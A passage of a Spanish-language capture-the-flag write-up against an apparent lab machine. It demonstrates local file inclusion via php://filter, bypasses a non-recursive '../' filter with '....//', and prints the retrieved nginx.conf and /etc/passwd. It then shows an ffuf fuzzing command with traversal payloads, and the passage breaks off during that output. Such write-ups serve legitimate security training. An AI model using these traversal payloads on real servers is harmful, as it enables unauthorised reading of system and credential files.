&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8028-ab09-c2cad89be2f7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="intento-de-log-poisoning-no-viable"&gt;Intento de Log Poisoning (no viable)&lt;/h3&gt;
&lt;p&gt;Probamos log poisoning leyendo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=/var/log/nginx/access.log&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;php://filter/read=convert.base64-encode/resource=/var/log/nginx/error.log&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Pero no funciona, porque la función no interpreta PHP, solo devuelve el archivo literalmente.&lt;/p&gt;
&lt;h3 id="bypass-del-filtro-por-str_replace-no-recursivo"&gt;Bypass del filtro (por &lt;code&gt;str_replace&lt;/code&gt; no recursivo)&lt;/h3&gt;
&lt;p&gt;Aquí está el problema.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-800d-959a-e3ef61bf7f35.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Esto busca la cadena &lt;code&gt;../&lt;/code&gt; y la elimina.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;La vulnerabilidad:&lt;/strong&gt; &lt;code&gt;str_replace&lt;/code&gt; &lt;strong&gt;no es recursivo&lt;/strong&gt;. Solo lo hace una vez.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El bypass:&lt;/strong&gt; si se envía &lt;code&gt;....//&lt;/code&gt;, el sistema elimina los dos caracteres del medio (&lt;code&gt;../&lt;/code&gt;) y une los extremos, creando un nuevo &lt;code&gt;../&lt;/code&gt; que el sistema ya no revisa.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-80a1-8f69-c789533b4854.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="archivos-interesantes-vía-lfi"&gt;Archivos interesantes vía LFI&lt;/h3&gt;
&lt;p&gt;Con el LFI ya podemos extraer rutas/configuraciones. Por ejemplo:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nginx.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user www-data;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;worker_processes auto;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pid /run/
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nginx.pid
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;include /etc/nginx/modules-enabled/*.conf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;events {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; worker_connections &lt;span style="color:#ae81ff"&gt;768&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sendfile on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tcp_nopush on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; types_hash_max_size &lt;span style="color:#ae81ff"&gt;2048&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_tokens off;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_names_hash_bucket_size &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; server_name_in_redirect off;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/mime.types;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; default_type application/octet-stream;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; access_log /var/log/nginx/access.log;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; error_log /var/log/nginx/error.log;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; gzip on;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/conf.d/*.conf;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; include /etc/nginx/sites-enabled/*;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y también &lt;code&gt;/etc/passwd&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/root&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daemon&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;daemon&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sys&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sys&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;sync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/sync
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/games&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;12&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/cache/man&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;lp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;lp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/lpd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/mail&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/news&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/spool/uucp&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;proxy&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;13&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;proxy&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;www-data&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;www-data&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/www&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;backup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;34&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;backup&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/backups&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;list&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;38&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Mailing List Manager&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/list&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;irc&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;39&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;ircd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/ircd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gnats&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;41&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Gnats Bug-Reporting System (admin)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/lib/gnats&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nobody&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;nobody&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_apt&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;::/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-timesync&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Time Synchronization,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-network&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;102&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;103&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Network Management,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-resolve&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;103&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Resolver,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/run/systemd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;messagebus&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;105&lt;/span&gt;::/nonexistent&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;_chrony&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;105&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;112&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;Chrony daemon,,,&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/var/lib/chrony&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sshd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;106&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;65534&lt;/span&gt;::/run/sshd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vagrant&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt;::/vagrant&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;systemd-coredump&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;999&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;999&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;systemd Core Dumper&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin/nologin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;x:&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;::/home/dev&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Users: www-data, vagrant&lt;/p&gt;
&lt;h3 id="rfi-no-viable"&gt;RFI (no viable)&lt;/h3&gt;
&lt;p&gt;Probamos con un RFI, pero no ejecuta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ea888fa-f353-8059-ae39-ffc376588543.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fuzzing-de-archivos-sensibles"&gt;Fuzzing de archivos sensibles&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;──&lt;/span&gt;(kali&lt;span style="color:#960050;background-color:#1e0010"&gt;㉿&lt;/span&gt;kali)-[~]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;└─&lt;/span&gt;$ ffuf -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;http&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//previous.htb/index.php&lt;span style="color:#66d9ef"&gt;?&lt;/span&gt;page=php&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;//&lt;span style="color:#66d9ef"&gt;filter&lt;/span&gt;/read=convert.base64-encode/resource=..//..//..//..//..//FUZZ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; -fs &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2F&lt;/span&gt;..&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2Fetc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 27ms]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e&lt;span style="color:#66d9ef"&gt;%&lt;/span&gt;2e/etc/passwd [Status&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;, Size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1984&lt;/span&gt;, Words&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Lines&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, Duration&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; 28ms]
